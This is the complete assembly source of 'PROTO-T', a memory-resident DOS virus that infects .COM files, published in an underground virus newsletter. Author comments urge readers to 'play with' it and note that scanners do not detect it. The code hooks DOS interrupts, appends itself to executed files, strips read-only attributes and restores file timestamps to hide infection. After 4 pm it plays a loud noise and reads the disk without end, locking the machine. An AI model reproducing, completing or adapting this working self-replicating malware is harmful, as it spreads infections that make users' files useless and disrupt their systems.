;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k. 
;It will infect COMMAND.COM
;if a shell is installed while the virus is in RAM. At start,
;PROTO-T polls the system time. If it is after 4:00 in the
;afternoon, the speaker will issue a hideous ringing noise and the
;hard file will be read very quickly, faking a massive Michelangelo-style
;trashing. The disk will continue to read until the user restores
;control by booting. (I took this slick routine from the first issue
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
;to those surprised by it. Heh.
;
;Files infected with PROTO-T will generally function normally until
;4 in the afternoon, when the virus locks them up until the next
;day by way of the nuisance routines described above. Infected files have
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
;appended to them at the end where the body of the virus is located.
;
;PROTO-T is not currently scanned. However, its modifications are easily
;flagged by a good file integrity checker. For example, Dr. Solomon's 
;Toolkit picked PROTO-T changes off an infected disk with both the QCV 
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately, 
;the novice user is left on his own by the Toolkit to determine the cause 
;of the changes - a drawback which diminishes the software's value 
;considerably, IMHO.
;
;I encourage you to play with PROTO-T by Dumbco. It is a 
;well-behaved resident virus, useful in demonstrating the behavior
;of simple resident infectors and how they can "pop-up" suddenly and
;ruin your day. Of course, files infected by PROTO-T are, for all
;intents and purposes, useless for future computing unless you like
;the idea of a resident virus keeping you company and freezing up
;your work late in the afternoon.
;
;Known incompatibilities:  PROTO-T will behave weirdly on machines
;using SYMANTEC's NDOS as a command processor. And some caches will
;cause PROTO-T to hang the machine immediately. For best results,
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory 
;management seems to work fine. (Ain't this somethin': software
;advisories with a virus!)
;
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
;& our European friends Dark Helmet and Peter Venkmann with their very
;complete code archives (in particular, the CIVIL_II template). The 
;'scarey ' subroutine was excerpted from "Computer Virus Developments 
;Quarterly", Vol. 1., No.1.


		.radix 16
     code       segment
		model  small
		assume cs:code, ds:code, es:code

		org 100h

length          equ offset last - begin
virus_length    equ length / 16d 

host:          db 0E9h, 03h, 00h, 44h, 48h, 00h         ;jump + infection
							;marker in host

begin:          
		
		call virus             ;make call to
				       ;push instruction pointer on stack

virus:          
		

		mov     ah,02Ch          ;DOS get time function
		int     021h
		mov     al,ch            ;Copy hour into AL
		cbw                      ;Sign-extend AL into AX
		cmp     ax,0010h         ;Did the function return 16 (4 pm)?
		jge     malfunkshun      ;If after 4 pm, do Proto-T thang!
		jmp     getonwithit
		
malfunkshun:                                 ;sound and fury start
		cli                          ;turn off interrupts
		mov     dx,2                 
agin1:          mov     bp,40                ;do 40 cycles of sound
		mov     si,1000              ;1st frequency
		mov     di,2000              ;2nd frequency
		mov     al,10110110b         ;address of channel 2 mode 3
		out     43h,al               ;send to port
agin2:          mov     bx,si                ;place sound number in bx
backerx:        mov     ax,bx                ;now put in ax
		out     42h,al               
		mov     al,ah                
		out     42h,al               
		in      al,61h               ;get port value
		or      al,00000011b         ;turn speaker on
		out     61h,al               
		mov     cx,2EE0h             ;delay 
looperx:        loop    looperx        ;do nothing loop so sound is audible
		xchg    di,si                
		in      al,61h               ;get port value
		and     al,11111100b         ;AND - turn speaker off
		out     61h,al               ;send it
		dec     bp                   ;decrement repeat count
		jnz     agin2                ;if not = 0 do again
		mov     ax,10                ;10 repeats of 60000 loops
back:           mov     cx,0EA60h            ;loop count (in hex for TASM)
loopery:        loop    loopery         ;delay loops - no sound between bursts
		dec     ax                   
		jnz     back                 ;if not = 0 loop again
		dec     dx                   
		jnz     agin1                ;if not = 0 do whole thing again
		sti                          ;restore interrupts 
		
		
		
		mov     si,0              ;scarey part: drive reads real
scarey:         lodsb                     ;fast ala Michelangelo-style
		mov     ah,al             ;over-write, but this routine only
		lodsb                     ;gets random bytes here for a 
		and     al,3              ;cylinder to READ
		mov     dl,80h
		mov     dh,al
		mov     ch,ah
		mov     cl,1
		mov     bx,offset last    ;buffer to read into
		mov     ax,201h
		int     13h
		jmp     short scarey      ;yow! scarey! just think if this
					  ;was made by someone not as nice as
					  ;me

note            db     'This program is sick. [PROTO-T by Dumbco, INC.]'

getonwithit:    pop     bp                              ; get IP from stack.
		sub     bp,109h                         ; adjust IP.

restore_host:   mov     di,0100h                        ; recover beginning
		lea     si,ds:[carrier_begin+bp]        ; of carrier program.
		mov     cx,06h
		rep     movsb


check_resident: mov     ah,0A0h                      ;check if virus
		int     21h                          ;already installed.
		cmp     ax,0001h
		je      end_virus

adjust_memory:  mov     ax,cs                        ;get Memory 
		dec     ax                           ;Control Block
		mov     ds,ax                        
		cmp     byte ptr ds:[0000],5a        ;check if last
						     ;block -
		jne     abort                        ;if not last block,
						     ;end
		mov     ax,ds:[0003]                 ;decrease memory
		sub     ax,50                        ;by 1kb 
		mov     ds:0003,ax

install_virus:  mov     bx,ax                        ;PSP
		mov     ax,es                        ;virus start 
		add     ax,bx                        ;in memory
		mov     es,ax
		mov     cx,length                    ;cx = length virus
		mov     ax,ds                        ;restore ds
		inc     ax
		mov     ds,ax
		lea     si,ds:[begin+bp]             ;point to start virus
		lea     di,es:0100                   ;point to destination
		rep     movsb                        ;copy virus in
						     ;memory
		mov     [virus_segment+bp],es        ;store start of virus
						     ;in memory
		mov     ax,cs                        ;restore extra segment
		mov     es,ax

hook_vector:    cli                              ;disable interrupts
						 ;because we're manipulating
		mov     ax,3521h                 ;the interrupt table and a   
						 ;crash would look bad
		int     21h                      ;function 3521h - retrieve
		mov     ds,[virus_segment+bp]    ;address of current handler
		mov     ds:[old_21h-6h],bx
		mov     ds:[old_21h+2-6h],es
		mov     dx,offset main_virus - 6h
		mov     ax,2521h                ;copy new address (virus) to
		int     21h                     ;interrupt table
		sti                             ;interrupts on

abort:          mov     ax,cs                  ;restore everything
		mov     ds,ax
		mov     es,ax
		xor     ax,ax

end_virus:      

		
		mov     bx,0100h               ;jump to beginning
		jmp     bx                     ;of host file

		
;***************************************************************************

main_virus:     pushf                                   
		cmp     ah,0A0h                    ;check for virus 
		jne     new_21h                    ;no virus call
		mov     ax,0001h                   ;ax = id
		popf                               ;return id     
		iret
		
new_21h:        push    ds                         ;save registers
		push    es
		push    di
		push    si
		push    ax
		push    bx
		push    cx
		push    dx

		cmp     ah,40h
		jne     check_05
		cmp     bx,0004h
		jne     check_05

check_05:       cmp     ah,05h
		jne     check_exec

check_exec:     cmp     ax,04B00h             ;intercept execute function
		jne     continue
		mov     cs:[name_seg-6],ds
		mov     cs:[name_off-6],dx
		jmp     chk_com               ;goto check target

continue:       pop     dx                    ;restore registers
		pop     cx
		pop     bx
		pop     ax
		pop     si
		pop     di
		pop     es
		pop     ds
		popf
		jmp     dword ptr cs:[old_21h-6]

chk_com:        cld                           ;check extension of loaded file
		mov     di,dx                 ;for COM
		push    ds
		pop     es
		mov     al,'.'                  ;search extension
		repne   scasb                   ;for 'COM', so
		cmp     word ptr es:[di],'OC'   ;check 'CO'
		jne     continue                ;and
		cmp     word ptr es:[di+2],'M'  ;check 'M'
		jne     continue                      
						     
		call    set_int24h                   
		call    set_attribute
				
open_file:      mov     ds,cs:[name_seg-6]   ;name of target file
		mov     dx,cs:[name_off-6]
		mov     ax,3D02h             ;open file
		call    do_int21h            ;simulate int21 call, see below
		jc      close_file
		push    cs
		pop     ds
		mov     [handle-6],ax
		mov     bx,ax   

		call    get_date        
		
check_infect:   push    cs
		pop     ds
		mov     bx,[handle-6]        ;read first 6 bytes
		mov     ah,3fh
		mov     cx,06h
		lea     dx,[carrier_begin-6]
		call    do_int21h
		mov     al, byte ptr [carrier_begin-6]+3 ; check initials
		mov     ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
		cmp     ax,[initials-6]
		je      save_date                ;if equal, already
						 ;infected
		
get_length:     mov     ax,4200h                 ;set file pointer to begin
		call    move_pointer
		mov     ax,4202h                 ;set file pointer to end
		call    move_pointer
		sub     ax,03h                   ;ax = file length
		mov     [length_file-6],ax
		
		call    write_jmp
		call    write_virus              ;summon write virus to file                     
						 
save_date:      push    cs                       ;save date of file
		pop     ds
		mov     bx,[handle-6]
		mov     dx,[date-6]
		mov     cx,[time-6]
		mov     ax,5701h
		call    do_int21h

close_file:     mov     bx,[handle-6]
		mov     ah,03eh                    ;close file
		call    do_int21h
		
		mov     dx,cs:[old_24h-6]          ;restore int24h
		mov     ds,cs:[old_24h+2-6]
		mov     ax,2524h
		call    do_int21h
		
		jmp     continue         
		
		


new_24h:        mov     al,3            ;critical error handler
		iret


;---------------------------------------------------------------------------
;                       PROCEDURES
;---------------------------------------------------------------------------



move_pointer:   push    cs
		pop     ds
		mov     bx,[handle-6]
		xor     cx,cx
		xor     dx,dx
		call    do_int21h
		ret
						;since virus owns int21, a
do_int21h:      pushf                           ;direct call would be counter
		call    dword ptr cs:[old_21h-6];productive, so do a pushf
		ret                           ;and call combination - Dark
					      ;Angel's virus guide is great
write_jmp:      push    cs                    ;at expalining this
		pop     ds
		mov     ax,4200h        ;set pointer to beginning of file
		call    move_pointer
		mov     ah,40h
		mov     cx,01h
		lea     dx,[jump-6]
		call    do_int21h
		mov     ah,40h
		mov     cx,02h
		lea     dx,[length_file-6]
		call    do_int21h
		mov     ah,40h
		mov     cx,02h
		lea     dx,[initials-6]
		call    do_int21h
		ret

write_virus:    push    cs
		pop     ds
		mov     ax,4202h       ;write to file function
		call    move_pointer
		mov     ah,40
		mov     cx,length      ;virus length
		mov     dx,100
		call    do_int21h      ;do it
		ret

get_date:       mov     ax,5700h        ;retrieve date function
		call    do_int21h       ;do it
		push    cs
		pop     ds
		mov     [date-6],dx      ;restore date & time
		mov     [time-6],cx
		ret
					 ;set up critical error handler
set_int24h:     mov     ax,3524h         ;request address of current handler
		call    do_int21h        ;simulate int21 call
		mov     cs:[old_24h-6],bx
		mov     cs:[old_24h+2-6],es
		mov     dx,offset new_24h-6
		push    cs
		pop     ds
		mov     ax,2524h         ;set vector to virus handler
		call    do_int21h        ;do it
		ret

set_attribute:  mov     ax,4300h           ;get attribute
		mov     ds,cs:[name_seg-6]
		mov     dx,cs:[name_off-6]
		call    do_int21h
		and     cl,0feh                ;set attribute
		mov     ax,4301h
		call    do_int21h               
		ret

	




;---------------------------------------------------------------------------
;                               DATA
;---------------------------------------------------------------------------


old_21h         dw  00h,00h
old_17h         dw  00h,00h
old_24h         dw  00h,00h
carrier_begin   db  090h, 0cdh, 020h, 044h, 048h, 00h
jump            db  0E9h
name_seg        dw  ?
name_off        dw  ?
virus_segment   dw  ?
length_file     dw  ?
handle          dw  ?
date            dw  ?
time            dw  ?
initials        dw  4844h
last            db  090h

code            ends
		end host